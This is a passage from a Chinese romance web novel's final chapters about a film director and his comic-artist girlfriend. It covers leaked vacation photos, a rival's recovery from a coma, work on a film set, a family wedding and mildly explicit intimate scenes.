但海归男首先长相就差了不是一点半点,其次老爱吹嘘他的种种见闻,最后打听合雨悠收入:“听说你们这行收入很高啊?” 合雨悠说还行吧。当时她收入有所下滑了,不过仍然春风得意。 海归男表情矜持而充满精英主义地说:“不过我觉得你这种行业不是很稳定,抗风险能力比较差……” 是的,不太稳定。 就那么一次,就打消了合雨悠继续认识男人的想法,都很差劲、傲慢。 合雨悠只说是想他,没说具体多想。凌湛就多少有点不开心了,主要是合雨悠身上发生这么大事儿一点声不吱,从来没有告诉过他,她有经济方面的问题。 如果推理起来,这事儿可大可小,可以上升到剧烈吵一架,也可以随和一点上个床了结一下,听她认错和道歉。 所以凌湛也不想深究下去了。 人也抓了,皆大欢喜。 后面她真的没忍住靠他身上睡着了,凌湛还熬着,等第二天律师飞过来了,律师不会直接和嫌疑人谈话,但亲自教凌湛应该怎么做,然后固定证据,调取船方与酒店登记信息;随后联系使馆备案,将涉案人员列入领保关注名单。 事情一旦进入流程,对方的行程便不再自由。 后面一切都从善如流,回国后没几天,凌湛在马尔代夫度假的照片终于被爆。 他这几天遭受的舆论风暴挺大的,但因为花了很多钱去压,导致看不见水花。 结果那几张照片和视频一出来,又引爆了网络。 照片里,海面还没完全暗下去,天色被压成一层偏冷的蓝,凌湛站在浅水里,表情因不爽而皱眉,白衬衫被浪打湿,贴在身上,布料半透明地勾出肩背线条。衬衫领口松开了两颗扣子,水顺着锁骨往下淌,沿着胸腹的起伏被吸进布里,衣料紧贴着腰线,沙滩裤颜色很深,裤脚也湿了,紧绷地贴在大腿上。 然后是一段各个角度的视频。 带点微仰视的视角,看见他帽子不知道飞哪儿了,头发被海水打湿后随意往后捋,眉骨和眼窝在逆光里显得更深。他没有看镜头,侧脸低着,说:“签名没问题,晚上餐厅我包场请客,拜托不要发我老婆的视频。” 女声说:“好的好的,不会乱发的,你的个人照可以发吗?刚刚不小心拍了几张。” “我的没关系。”凌湛回。 贴主描述:“那天真的很戏剧化,凌湛的女朋友在栈桥上爆冲过来把一对夫妻摁下海,这两个人欠了她几百万好像,真的,看着也不怎么高特娇小一软妹,好猛的。两个人看起来很爱也很好啦,我和我对象还捞了几张合影。” 合雨悠作为一个最近都不怎么敢上网的女士,也不知道有人说她长得虽矮但萌。 是有朋友来问她了。 姜小敏说:“盒子,姐夫资本这么雄厚啊?” 姜小敏:“裤兜里鼓鼓囊囊的装什么了?” 姜小敏:“好难猜啊!” 她:“你过得很好吧?” 合雨悠看一眼照片,可不就是凌湛从海里站起来浑身湿透的照片么。 她尴尬地看一眼照片,说:“是我的淀粉肠……” “真的是淀粉肠……” 姜小敏:“??” 合雨悠认真地看,哦不,她想起来了,淀粉肠她在船上就吃了,那天凌湛说船上可以BBQ她才带的。刚上船没多久就开炉子烤给她吃了。 而且王中王淀粉肠也没那么粗。 合雨悠不知道怎么解释了,就闭嘴了。 还好照片比较糊。 “网上有人骂我吗?”她问姜小敏。 姜小敏说:“没,都没什么人骂你,顶多一两个酸鸡,点进去一看都是丑的。” 合雨悠:“骂他的呢?” “前几天倒是很多人说脱粉啊什么的。” 有人说凌湛眼光差,女生不够漂亮网红脸一看就是整过的云云,合雨悠那点粉丝根本不够看的,无法为她冲锋陷阵,还好叶铭买了水军。 合雨悠惊呆:“有人夸我网红脸?” 网红脸在她这里不是贬义词。 姜小敏:“昨晚照片曝光了,就没什么人骂了哈哈哈,我不知道是不是公关给力,都说他是万年难得一见的深情。姐夫私底下也对你这么好吗?” 合雨悠说好。 姜小敏就问她还有没有什么娱乐圈八卦之类的…… “没,我和他们圈子没什么交集的。” 一个二个都告诉她水很深人很坏,看似浮华实则烂到荼蘼,叶铭也不会带她去什么饭局,让她单单纯纯画她的漫画就好。 所以合雨悠至今也才窥见这个圈子的冰山一角。 她没有那么重的好奇心。 她只想着向悦这个类似植物人的状态什么时候拔管。 此时此刻,向悦家里。 房间里灯光很低,夜色被厚重的窗帘挡在外面,只剩下仪器规律而冷静的滴答声。 向悦躺在床上,瘦得几乎陷进雪白的床单里,脸色苍白,唇没有血色。她已经昏迷了很久,久到所有人都开始习惯她“不会醒来”这件事。然而她不知道从哪天开始,有意识地接收外界的信息,但还是无法动弹,有天高容很憔悴,穿着一身黑衣,站在她床边絮絮叨叨说了许多话:“我跟你爸离婚后,你就跟他去美国了,昊昊本来判了说跟着我,可他不想跟我,想和你爸去美国读书。都怪我……我不应该用凌湛的消息让你回国的,不然你也不会出事。” “你爸爸走了,你连最后一面也没见上……”她低头抽泣着,然后凌飞走进来了,搂过她肩膀:“时间差不多了,你还要去赶飞机,悦悦这边我照料着。我也会要求凌湛来看望她的。” “不、不用了。”高容抬起头,“不要让凌湛来。” 凌飞蹙眉:“怎么?当年我们在一起,你说悦悦喜欢凌湛,你离婚后都没和我领证,不就是这个原因吗。” 高容吞吞吐吐:“我……我确实是看悦悦喜欢凌湛,但凌湛显然不喜欢她,我想让他们更亲近一点,我一直试图撮合他们,这样她也能顺理成章喊你爸爸,接受你。明明看出他们可能性不大了,还让她去争去抢,一切都是由于我的自私,才会造成现在这样……” 她掩面而泣,凌飞又是一顿安慰,说不能怪她:“悦悦现在这样……哎,还好我们还有个孩子。” “别、向昊现在还不知道,你别告诉他,他和凌湛是亲兄弟这件事。”高容抓着他的胳膊。 向悦的世界观经历着冲刷,她爸爸身体不好似乎是很多年前的事了,可她年纪小不懂事,也从没注意过,这几年频繁手术,而她因为凌湛回国了,义无反顾也回来了,进电视台当主持人。 她因为凌湛做了许多的错事,后来她在成年后在美国接受假体隆胸手术,切了肋软骨做了隆鼻,变得不像以前的自己,车祸后她只能平躺在病床上,听医生说她的假体都被撞飞了,只好给她取出来修补,但留了很大的疤痕。 她还有个不懂事的、同母异父的弟弟,在病床前告诉她:“姐,你看。” “你不是一直想知道他过得怎么样吗?” “现在知道了。” “他们又在一起了,都怪他你才会现在这样,”向昊把屏幕又往前送了一点,几乎贴到她的眼前,说,“春风得意,要拿影帝了,上热搜,谈恋爱,你快点醒过来啊!” 监护仪上的曲线平稳而漫长,像一条毫无波澜的河。 “你别在你姐面前说这些!”凌飞走进来,一把手伸过去拿走手机,“对她不好。” 向昊飞扬跋扈:“你真把你当我爹了?你算什么东西,和我这样说话?!” 他奔上来抢手机、不小心把凌飞按在地上,重重地摔了一跤,眼镜都飞出去了。 凌飞气急,盯着他那一头黄毛:“你和凌湛,和我,没有一点相似之处!” 向昊:“傻逼吧你,我和你们相似干什么,传染病一样。”他捡起手机又踹了凌飞一脚,没有顾他死活。 凌飞的手指着他颤抖:“当初就不应该、不应该让你出国。让你变成这样。” “我和我姐变成这样,还不是你们一家害的?” “我妈爱你爱得要死,我爸走了,走的时候病痛缠身,还让我好好孝顺你,我孝顺你老母。我最恨你了。”他两眼通红,“我姐爱你儿子爱得要死要活,两次自杀,现在也跟死了没两样,她害不如死了呢,让她听见这些,我都难受。” 凌飞开始找自己胸口袋的心脏药,向昊本来没管他,都走了,回头看他真的要死了,才打了电话,没打给医院,打给了凌湛。 “你爸快死了,你自己来收尸吧。” 凌湛:“你不收?” “他又不是我爸我管他去死。” 凌湛就笑:“原来你这么大岁数了还不知道自己是野种啊。” 向昊脑袋猛地一抬:“你说什么?” 他嗓音百无聊赖:“我说你是杂种,自己去查查DNA吧,脑子蠢就去治。” 凌湛对自己的家庭关系,尤其这个爸,很是劳心,大多时候他都不想管。他既然有新的家庭,新的儿女和老婆,那和凌湛就彻底无关了。 可他还是替凌飞叫了救护车,隔了一天,等他醒来后,泪流满面地打电话,颤抖地跟凌湛说对不起。 “没什么好对不起的,你最该说对不起的人在墓地。”凌湛高中过后就没怎么拿过凌飞的钱了,开销是靠母亲一部分遗产和外公资助,他确实和父亲感情没有那么深了,尽管在他青春期叛逆之前,他们曾非常好,父慈子孝,他性格也远没有那么暴戾。 这一家人都和他没关系了。 然后没多久,凌湛就收到消息,听说向悦苏醒了。 新闻没有播报,还是凌飞的短讯。 凌湛不该去的,考虑到合雨悠的心魔未消,他是自己一个人去的。 向悦现在没有头发,戴一顶假发,她瘦得很厉害,脸上还有疤痕。 她对他的出现非常意外。凌湛没时间和她寒暄,他晚点还要飞东北,合雨悠作为他电影的美术组主创之一等会儿要跟他一起。 所以凌湛开门见山:“不进去了,当初你威胁她的视频呢?” 她愣了一秒,低头说:“对不起。” 侧身的时候,凌湛注意到她家的桌上还放着手机,外放着他和合雨悠已经曝光两个月的恋情瓜。 “别道歉,道歉对我没有用。” “除非我死对吧?我死了才可以偿还,”向悦低声说,“我知道你们很恨我,对不起……” 凌湛的眼睛里都没有情绪:“我没恨你,你对我没有意义。” 没有意义的人恨来干什么。 向悦瞳孔微微一缩,随即苦笑。她听见凌湛冷漠的嗓音说: “视频删掉,你开个价。” 向悦:“我早就删了。” 凌湛盯着她。 向悦:“我从来没想过让你毁掉,我只是当年……我不理解,你为什么突然……你以前对我很好,突然对我很糟糕,你好像很讨厌我,我嫉妒她,我只是想一切回到从前那样,所以我威胁她……我做了错事,可是我从始至终都没想过用一段视频就把你毁掉。我对不起你们,我知道你们……因为我分开了很多年。抱歉。” 凌湛看了她一会儿,在判断她说的话。 她情绪像是悔恨,眼里有点眼泪,和自责。 凌湛觉得她说的应该是真的。 她确实早就删掉了。 垂着肩膀说:“像你说的,这段视频对我没有意义。最近家里事有点乱……我弟弟,你知道的……我也一直想联系你们,给你们解释清楚,可是没有勇气。” 而且医生告诉她,她这次苏醒,但因为受伤太严重,假体感染和败血症,可能活不过几年了。 凌湛点头,没有说告别的话就直接走了。 合雨悠正在给他打电话。 “凌湛,我们要去机场了,你在哪里呀?我找你身份证呢,你身份证在身上吗?” “我马上回来了。”凌湛顿了顿才说,“向悦醒了,她没有视频备份了。” 电话那头就是长久的沉默。 合雨悠:“我……我不是很相信她。真的吗?万一她……” 凌湛说:“我查了她医疗报告,她最多活几年了,看起来信佛了,在家里忏悔着。”基于所有得到的信息判断,向悦说的是真话。 但合雨悠还是挺害怕的。 在飞机上也不休息,和凌湛两个人坐公务舱最边缘位置,飞机上人少,公务舱就六个位置还都没人。而合雨悠在孜孜不倦地搞那种动辄被封号的AI短视频。 “合雨悠你干嘛啊,不休息在搞什么?” “我害怕啊。”合雨悠说,“我P了个假视频,这有点像你也有点像我,你看。” 凌湛扫了一眼:“你挺让人害怕的。” 那AI人脸都僵硬成什么样了。他说网上那么多诡异AI视频呢,合着都是他老婆做的。 “快睡。”他很无奈,“手机收了。” “不要啊我睡不着了,这不是等会儿就到了么!!” 凌湛就没办法了,也开始玩手机:“那我也玩。” “凌湛凌湛。”过了会儿,合雨悠喊他。 凌湛没吭声。 合雨悠过了会儿又戳他,在安静的机舱里很小声:“凌湛,喂……” 凌湛没抬头,鸭舌帽遮着大半张脸,眼底的笑意很模糊。 合雨悠脑袋挤过来,从下面看他:“老公你怎么不理我啊?”—— 作者有话说:再写一章收尾[三花猫头]感谢追文《 》 【正文完】 第76章 尾章 凌湛自从恋情公开后,有一阵没出来活动了,网络上都是他的电影切片、近期拍摄硬照的花絮,给人一种不在江湖但江湖仍有他传说的错觉。 一副要淡圈的样子,还有嫂子了,结果一张照片,一节视频,就可以轻松杀回来几百万点赞。 作为一个合格的导演,凌湛守着他的片场哪里都不去。因为开机停一天都是烧钱,在AI盛行的年代他还坚持学以致用地手搓,而不是用新科技,包括很多老派导演和他想法也一致,很难接受这种事物出现在自己的作品里。所以活动也是能推则推,实在推不掉的让副导严格根据他的分镜来拍摄一天,而他一天打个来回。 在片场,除了监制,导演就是老大,而他们监制是个很熟的叔叔,贺秋阳他爸贺峰。也是因为贺峰的面子,电影的投资才没有拖延慢慢到位。监制通常都不来片场,于是凌湛就是片场说一不二的老大。 合雨悠则在片场美术组干点杂活,画点临时场景分镜什么的。虽说实际上还是凌湛拿全部主意,所有一切都按照他的标准来,合雨悠画好了,又得听他的去改。 但得哄着点,不然怕她生气。 合雨悠看着脾气好,实则一身刺,搞不好现在不发作,看着软萌又乖又听话的,结果晚上跟他分床睡,还声音很大地外放凌湛最讨厌的短剧。 比如今天他就劳烦她改了很多东西,最后一版没用,给她惹不快了。 合雨悠报复性地开始外放: “上辈子,我被闺蜜一刀捅死,又重生回了家族联姻那一刻……” 凌湛犹如魔音穿耳,忍了一会儿说:“宝宝,能戴耳机吗?” 合雨悠头也没抬:“你去隔壁工作,我要精神放松一下。” 毕竟是凌湛的东西,她自己指手画脚没意义,她也不爱给凌湛指手画脚,但感觉自己又成了无效工作的牛马,太累而已。不仅累,原本很行的凌湛,因为片场活多,晚上也要赶工提前准备第二天要拍的场景和分镜,他睡眠时间被严重压缩,最多亲一会儿就分开,撩开她衣服摸几下,然后戛然而止。 所以她也开始欲求不满了。 凌湛从书桌前转了个身:“我再调几个美术组的人过来吧?你看那种东西能得到放松吗,那剧情不都一样,看多了反胃吧。” 合雨悠趴沙发上没动弹,姿势没个正形,身材又前凸后翘,这样趴着压根看不出她其实不高。 “这一次,看见闺蜜毫不犹豫选了我前世的丈夫,我就知道,她也重生了。” 凌湛:“……” 他是真讨厌这个。 凌湛工作喜欢一个人,也喜欢合雨悠在旁边的感觉,这下忍不了了,转身拿着他分镜稿和剧本出去了,说了句:“那你看,我得审前两天拍的镜头。” 他们在吉林进行大部分的外景拍摄,这地儿偏远,居住环境本来不怎么样,但因为前期投资到位,凌湛就花了点钱改造了下,搭建在片场附近,砖房加了隔音棉。因为他和合雨悠都是有工作的人,住的是一间一室套房,窗帘拉开就是一望无垠的白桦林和雪原,雪大的时候外面几乎一片纯白,会延迟他们的拍摄进度。通常这个时候就转棚拍,棚里有人工造雪,演员会舒服很多。 他们在这儿已经待两个多月了,电影拍摄实际进度连四分之一都没有。 凌湛出去后,合雨悠就点了暂停,然后翻身了。 手机响了起来,是妈妈的视频电话,合雨悠点了接通。 邱莲那边灯光暗,是中老年特有的怼脸视角,问她:“幺妹儿,假期回不回来,你哥要结婚了哦。” “哥哥是几号结婚?我们是剧组,剧组基本不放假的,但是哥哥结婚我会回去几天。”合雨悠之所以来这边,是因为她基本上都是线上工作,可以远程进行,五月开始她有新的签售活动,到时候就不得不离开凌湛了。 邱莲又问:“国庆节结婚,还有几个月嘛,大家都放假了。你男朋友呢?来不来哦。” 合雨悠说:“他要是来的话,我哥的婚礼就得换主角了。” “也是。但也不能不来呢。哎呀,以后都是一家人了,都喊我妈妈了。”看得出她家家长对凌湛还是挺满意的,毕竟上次合雨悠视频得好好的,凌湛探出头强势入镜,喊邱莲妈,他那么一张电视上都很罕见的顶级骨相,顶光也毫无死角,还这么嘴甜,想起很多年前见过凌湛,是个好孩子,就更满意了。 邱莲:“你们在东北,拍电影,住一起啊?” “是……” “你们女娃娃,还是不要婚前同居,肚儿搞大了。” “……” 合雨悠尴尬地说:“妈,不是……我们婚后才会要孩子。”她跟凌湛商量过如果要也是她三十岁后,合雨悠现在每年都有一些公开讲座和全球签售活动,她的东西在内地很难过审拍摄,但叶铭找了个海外公司授权版权进行拍摄,也就是说合雨悠很快能看见她的悬疑恐怖向人外短剧了。 合雨悠跟她聊了一会儿,又叮嘱:“你不要出去说凌湛的事,也不要把他照片印在面包车和广告牌上,那样不好。” “晓得了!你早点睡,注意身体。今年准不准备结婚?结了婚就可以要一个了。” 合雨悠有点凌乱,十几岁禁止她谈恋爱,二十几岁催着她结婚和相亲,现在有对象了一边让她婚前不要同居一边继续催她结婚和生小孩。 还是她不反感给凌湛生一个,不然真不乐意听。 因为他们俩经常口嗨,凌湛喜欢律动时候深情专注而热烈地注视她,说:“喂给你,宝贝给我怀个小宝宝。”类似于床上骚话……但听多了吧就真有点想,觉得不是什么大事,可生下来一定是大事,好像要承担很多的未知责任,可她和凌湛的性格……说起来都没那么成熟。 或许到了三十岁会更好。 合雨悠挂了电话,又望出去一眼,然后小心翼翼地下床,探头出去看起居室的书桌前蹙着眉审片子的凌湛。 窗外零下的雪无声无息地落,风贴着窗沿刮过,偶尔有积雪从屋檐滑落,闷闷一声。屋内却是另一种世界,暖气开得足,空气干燥安静,带着木质家具被长时间加热后的温度,像一口慢慢呼吸的炉子。 书桌前只开了一盏暖光的台灯。 凌湛坐在桌前背脊微微前倾,肩线在灯影里宽阔,黑色毛衣贴着身形,袖口卷起一点,露出线条结实清晰的小臂。桌面铺满了凌乱的分镜表、修改过的剧本页,还有一台暂停在某个雪原长镜头上的笔记本电脑。 高眉骨投出细微阴影,眼神沉得很低,合雨悠在看他他也没发现。等合雨悠走了他才扭头看了一眼。 她知道凌湛压力非常大,这么多投资人和钱,要是最后呈现的票房不好,他可能再也拿不到这么多的投资,以后想拍电影,只能接代言接他讨厌的真人秀赚钱。他不想身不由己,故此孤注一掷,这必须是一部很完美的东西。 但这种完美,不能被他的个人偏执所影响,造成观影障碍和票房失败。 合雨悠就是中间很好的调和剂。 凌湛不听编剧的意思,但会考虑她的想法。 合雨悠洗完澡出来,又去看他一眼。 凌湛还是保持那个姿势在工作。 合雨悠叹息,一边给他发了条信息:“老公,我洗完了,你不去洗澡吗。” 通常合雨悠为了情趣喊老公,心情好的时候喊,床上也喊,其他时间就喊凌湛。 凌湛一看就琢磨出另一种意思。 隔着一扇墙,他回合雨悠:“明天早上八点上工。” 现在快十二点,从睡眠质量来说,凌湛凌晨两三点钟睡觉就好。 合雨悠发:“那你不要睡太晚了,我困了,要闭眼睛了。” 消息发出的一瞬,凌湛同时编辑好的消息也发了出去。 “但可以给你舔。” “你特别想要的话。” 合雨悠本来也没多困,看见消息就坐起身了。 凌湛:“晚安。” 合雨悠:“>。<” 凌湛暂时搁下他精益求精的工作:“什么意思?要睡了还是特别想要。” 合雨悠:“哈哈。” 凌湛:“发消息这么矜持?” 合雨悠:“那你进来。” 合雨悠打字:“我们为什么要这么聊天。” 凌湛:“你发消息勾引我。” 合雨悠引用他那条消息:“是你勾引我。” 凌湛也引用她那句“老公”的消息,说:“你先的。” 合雨悠:“喊这个不对吗,那我不喊了。” 凌湛:“别。” 凌湛:“我进来了。” 合雨悠:“你需要解压服务吗?” 合雨悠:“我劳动节和端午都有活动,我要离开你了。你没有我不是只能用飞机杯了?” 刚发出去,凌湛人已经进门了。 凌湛对她说:“不至于,我又不是什么每天一炮的瘾。” 凌湛看见她穿的裙子,房间里暖气温度要更暖一点,他单手拎起自己的毛衣后领脱掉丢一旁小沙发,露出锻炼得结实的整个胸肌和腹肌,从床尾爬上来,握着合雨悠曲起而白皙的小腿。 合雨悠被他分开,灯光下她的脸被割出暖黄的阴影,但仍然线条柔和,:“那你隔一天和我一炮算什么,不是有瘾吗?” “你瘾比我大。”凌湛说。 其实两个人瘾都不小,只是凌湛忙于电影拍摄而已。他这人闲下来就爱多想,年轻气盛而精神澎湃,忙起来什么都可以忽略。 凌湛埋头,扫一眼,复而抬头说:“也不穿一个,刚刚就想着呢?” 合雨悠忍不住闭了下腿说:“根据健**理知识……刚洗完澡不能立刻穿,得晾干。” “你这得从冰河世纪开始晾吧?”凌湛又看了一眼,晶亮的柔嫩的皮肤颜色。 下一秒合雨悠手指就揪住了床单,高高地仰着脖颈,脆弱而细瘦的,像天鹅引颈一般。 凌湛弄完继续去忙了。 合雨悠换了张床闷头睡觉,半夜感觉床边陷了一点,凌湛从身后抱过来,自然地搂到她身前找了个最高点握着,入睡。 自从公开后,合雨悠几乎每次出席活动,都会有人慕名来看她。 不是她粉丝,也不看漫画,单纯就是看看她长什么样。 这天有个妹子看完了下台的时候嘀咕了句:“狐狸精,就这样把凌湛迷住的吧?” 合雨悠:“……” 她有点无奈,但没在意,毕竟人家夸她狐狸精了。 早在十年前她根本想不到这个称呼会配给她。 除了那么个小插曲,其他人类都是正常粉丝,非常激动和喜欢她。 “姐姐姐姐,我非常喜欢你泰国那期Vlog,你什么时候出新作品啊?” 合雨悠抬头时笑,眼神明媚有晶亮眼神光,可其实她根本没戴美瞳,说:“在准备了。” 她有开始慢慢画新的东西。 “哇!!那太期待了,姐姐加油噢!!” “一定,你也是。加油。” 漫展当天还有游戏展,随着VR技术的发展,VR游戏开始崛起,不是传统的商场可以看见的VR切方块小游戏,而是实现了家用人机交互的一款设备。那边非常火爆,合雨悠这边大舞台人气也不低。 合雨悠签售会结束,看见两条下午四点发的消息:“雨悠,我也在会展中心。” “等你签完一起吃饭吧。” 合雨悠犹豫了下,她很久没见贺秋阳了,贺秋阳似乎在忙这个人机交互的事儿忙挺久了,但贺秋阳的确帮了她很多很多。 她答应了下来,因为知道凌湛会生气,想着远程让他生气,不如当面让他气,所以没告诉凌湛。当面气有她的甜头和菇头吃,远程气只能收获凌湛电话破口大骂。 合雨悠去赴约了。 她刚刚活动的小裙子换了下来,换了条更简单的,今年刚到五月的上海,天气还有些凉意,她搭了个小披肩,浑身都是干净清新的香粉味道,脸上妆没卸,唇釉是亮粉色的,十根指甲都做了精致的钻。 她也不是什么大明星,无人在意,无人跟拍。 餐厅包间里,两人聊了点有的没的,凌湛在拍的电影他也有投资,凌湛来者不拒,不因为他是讨人厌的贺秋阳就拒绝。但贺秋阳没有去探班,一来他很忙,二来知道他和凌湛水火不容。 “今天刚好在活动展上看见你了,”贺秋阳坐她对面,看着她,“有点意外。” 合雨悠略微不好意思:“我妆前妆后是不太一样。” 贺秋阳:“不是说这个,你妆前妆后没什么差别。都挺漂亮的。” 合雨悠心想完了,贺秋阳果然喜欢她…… 其实他真挺帅的…… 和凌湛不一样的那种…… 这么死亡的灯光下还像一尊古希腊雕塑一样的脸和身材…… 打住!! 合雨悠现在知道自己这叫什么症状了,传说中的性缘脑。 贺秋阳继续问了点他们拍摄的事,还问:“是去年年初你去《雾城》剧组那会儿复合的么?” 她“嗯”了一声,点头:“是,更早一点吧……” 他吃了口菜,抬眼:“《雾城》前年十一月开机的。更早一点,就是那会儿,见面没多久就复合了么。” 合雨悠:“……差不多吧。” 没见面还能控制住,一见面就完了。 贺秋阳顿了顿说:“如果有天凌湛对你不好了,可以来找我。” 合雨悠:“啊?” 他定定的道:“不是在挖墙脚,雨悠,我当你是妹妹。”要是和凌湛离婚他也愿意接手。 凌湛性格有点像疯狗,可能这两年成熟点稳定点了吧,青春期确实是逮人就咬,浑身是刺。 合雨悠说了声好:“他对我挺好的。”说完,又愣了一会儿,“贺哥,我一直想问一件事儿。” 贺秋阳示意她问。 合雨悠:“就是……你一直对我特别特别好,非常特别。”她说这话时不由自主摸了下鼻头,“希望不是我自作多情了,我在想,可能有什么原因吧,是因为……” 她顿了下,贺秋阳:“你没自作多情。” 合雨悠:“我知道,你就是很好。但它是不是因为你小的时候……”她指了指他身上纹身,其实贺秋阳就是和性格很好也很儒雅的人,就因为这些纹身,增添了不好惹的强势气息。 “你小时候因为火灾烧伤,碰巧救你的人是我父母,而我因为那件事差点出大事被拐卖甚至更严重……”她一口气说完,“是么?” 贺秋阳沉默了几秒,然后说:“起初是这样吧。后来也拿你当妹妹看的。” “所以凌湛其实是不是也是……因为他妈妈也……”她欲言又止。 贺秋阳说:“嗯,凌湛的妈妈因为救我重度烧伤,”他垂眸,“过了三个月,很痛苦地在医院里去世的。” 而他只是身上皮肤有烧伤痕迹,甚至没有波及脸和健康。 贺秋阳这辈子好像都无法像正常人那样生活了,因为早年他和金晚南关系好到像亲母子,他和凌湛像亲兄弟。他倒如今都无法释怀。 合雨悠沉默了好久也不敢说话,她想凌湛一开始可能也是这个原因才对她特别好的。 她没有深究,也不想揭开凌湛的伤疤。 时间断断续续过了几个月,合雨悠空暇就飞吉林片场,不空暇就外出活动。 终于,国庆。 合雨悠回家了,她哥要结婚了,计划在女方家办场婚礼,男方家也办一场。按照传统,婚礼一般就在老家院坝里进行,但蒋柔毕竟是北京女孩儿,婚礼挪到了市区的香格里拉大酒店,合雨悠提前一天去的,下午在陪新娘布置。 蒋柔父母来了,他们好像不是很满意这门亲事,但也没发作。 毕竟合蓝正长相帅气身材高大一米八三,家里条件看着好像不怎么样,但彩礼居然能一下掏一百万现金和一辆奔驰。 可见种菜的不仅仅是种菜的。 听说他们家菜卖到了山姆去,被长期大型商场收购,蒋家人还吃了一惊。 而且合蓝正工作体面上升空间大,看着体贴会疼人,都是优点。 合雨悠打了个照面就去新娘那里了。 因为她纯素颜,蒋柔也不是个嘴碎的带的三个伴娘一时也没认出来她居然是某顶流嫂子。还夸她漂亮有气质。 大家高高兴兴地一起聊鬼灭和韩剧,直到晚上合雨悠的电话响了,人家瞥见她屏幕上“老公”二字,才很惊讶地说:“你都结婚了呀?” “不是……还没。男朋友。”合雨悠说稍等,就去酒店阳台接电话。 伴娘低头跟蒋柔说:“你这小姑子大美女啊,素颜都那么好看,我听你说合蓝正疼他妹妹,婚后会不会跟你争宠啊?” 蒋柔:“……” 蒋柔:“说什么呢,她有男朋友了。” 伴娘:“男朋友可没你老公帅吧。” 蒋柔:“张口闭口就竟,你竟什么呢……她男朋友是……算了。盒子妹妹人很好的。”其实她也没见过合雨悠男朋友,但上网刷到了。 特想要个签名什么的,也都没去要。律师擅长保密,她发现了小姑子就是顶流嫂,甚至没跟身边任何人说。 合雨悠在阳台打了几分钟电话,回来就歉疚地说:“嫂子,我没法继续帮你们吹气球了,我去接下我男朋友。” 蒋柔一下惊讶:“他来了呀?” 合雨悠点点头:“是……他也不太方便,你知道的,我接下他。” 伴娘心想什么不方便,长得不方便吧。 三个伴娘就说要买烧烤,下楼去看了一眼。 合雨悠她那对象坐一辆奔驰商务过来的,下车身边好像还有人,看着矮矮胖胖像助理,而她那对象身高至少一米九,穿卫衣和卫裤,全身黑,我嘞个大长腿,三人齐齐嘶气:“是帅哥呀。” “别,摘下口罩别是河童吧。” 他看不清脸,戴着鸭舌帽和口罩,但弯腰和她抱了一下,就顺手摘下了口罩。 还是看不太清,但下颌线和嘴唇已经证明了是个极品大帅哥。 而那个看着软软绵绵的盒子妹妹,因为穿酒店拖鞋,不太高,抱抱的时候只有他胸口那么高,仰头摸男朋友脸,不知道在说什么情话。 合雨悠:“戴口罩呀你。” “戴了怎么亲妹妹?” 合雨悠:“房间里不行?非得在酒店大堂?” 凌湛:“嗯,我非得。”他瞥了眼酒店提前摆出来的牌子,“那你哥,这你嫂子?就那个三流律师?” 合雨悠马上捂他嘴,眼睛圆瞪:“说什么呢你!!” 蒋柔帮合雨悠追款,那么久没成,居然靠她生手擒拿,也是撞大运了。 凌湛就笑:“好,不说了,累了,我回你房间休息。我就不登记了。还是双床房啊?我喜欢大床其实。” 合雨悠:“……我开了挺多间的,因为我哥结婚嘛,要不我再拿个房卡?” 凌湛思考道,这样吧:“一间大床房做完另一间睡觉吧。” 他低头摸合雨悠发顶说:“宝宝我好久没见你了。” 合雨悠知道他电影还没拍完。 按照他这精益求精的速度,起码也得年底。 可能等拍完了,凌导的生活才能开启新篇章。 好不容易国庆节给全组放个假,最主要是他给自己放假几天,毕竟是合雨悠的哥哥,合雨悠家庭和睦,和他家不一样,这么和睦的一家,凌湛自然得来参加小舅子的婚礼。可以不出席,但要送点礼。 两人进电梯那会儿,三个伴娘拿外卖也要进来了。 合雨悠惊慌失措,连忙按电梯关门键。 伴娘一伸手探入:“盒子妹妹,好巧啊,你和你男朋友啊?” 合雨悠一扭头,好险!他戴口罩了!! 她支吾嗯了一声。 伴娘:“我去,你男朋友真高,北方人?” 合雨悠:“是北方的……不过在重庆长大的。” 男生对他们点了个头,但没说话。 伴娘:“你男朋友感冒了?” 合雨悠:“对……感冒了,哈哈。” 鸭舌帽下一双桃花眼勾起来。 三个伴娘对视一眼,这绝逼是大帅哥啊,颌面没问题,近距离鉴定了眼睛也长得很好看,还特别像那谁。 伴娘还在余光里瞥,下电梯了,问:“盒子妹,你不下来么?我们气球还要布置一下哦。” 合雨悠说:“……他住楼上,我先送他上去。” 伴娘下电梯了,还没关,合雨悠亲耳听见她们议论:“像凌湛吧?我靠,好像。” “我以为蒋柔胡说八道呢,结果真是帅哥啊。” 合雨悠抬头。 凌湛摘了口罩,一只胳膊勾在她肩膀:“盒子妹,还要去吹气球?” 合雨悠苦逼脸:“那可不是……” “别去了,跟我抱会儿。” 合雨悠:“我想想怎么拒绝。” 她还在想呢,就收到了蒋柔的信息: “你去玩吧,我这边OK的。” 蒋柔说:“放心吧我帮你保密着呢,你男朋友明天接亲应该不会跟吧?” “不会的吧。”合雨悠回。 她是怕打断婚礼正常进行,凌湛这种的,也就私底下和新娘新郎打个招呼给个红包就行了。 合雨悠都不明白他怎么得来一趟。 然后她就知道了,是让妹妹哭来的。凌湛:“背着我去见贺秋阳了对吧?” 合雨悠惊恐:“你怎么知道的!!” 凌湛笑:“贺秋阳的合伙人喝酒的时候跟我说的。” 他按着没发,现在才发,合雨悠呜呜哭了一会儿,浑身香汗,抱着凌湛,解释:“就是叙叙旧……” “叙什么旧?你俩有什么叙旧的。”他把合雨悠抱起来抵着。 “老公,求你了,我明天还要去参加婚礼……”她只能挂他身上。 “别说是你哥婚礼,就是你婚礼我也……”他顿了一下,“算了,你婚礼我不这样。”他掐着她腰,“长了点肉。” …… 婚礼过后,没几天,三个伴娘偶然刷小红书,刷到了合雨悠的签售会视频。 这才惊觉:“那个盒子妹是这个画漫画的啊?!” 打开评论: 网友: 【好眼熟啊,是不是凌湛的女朋友?】 【对对对没认错,就是她。】 伴娘们:“…………” 三人大为震惊:“那天晚上在酒店门口抱着女朋友亲的是凌湛啊???我们跟他坐一个电梯啊啊啊啊啊当时我就说了嘛,好像他!!” 可都没反应过来真的是本人。 而合雨悠和凌湛,在国庆节后也离开了,合雨悠从表姐那里拿了一封信:“你同学寄的,放原来小区信箱里好久了。” 合雨悠打开一看,原来是高三毕业的时候,写的一封给十年后的信。 当时她让凌湛也写,她记得凌湛没写。 现在打开信封,很意外,在信封里发现一张额外的信纸,上面是凌湛十一年前的一行字。 “小矮子,不要长高了,一五八就很可爱^^” 合雨悠愣了一秒,立刻拿着信跑去找他: 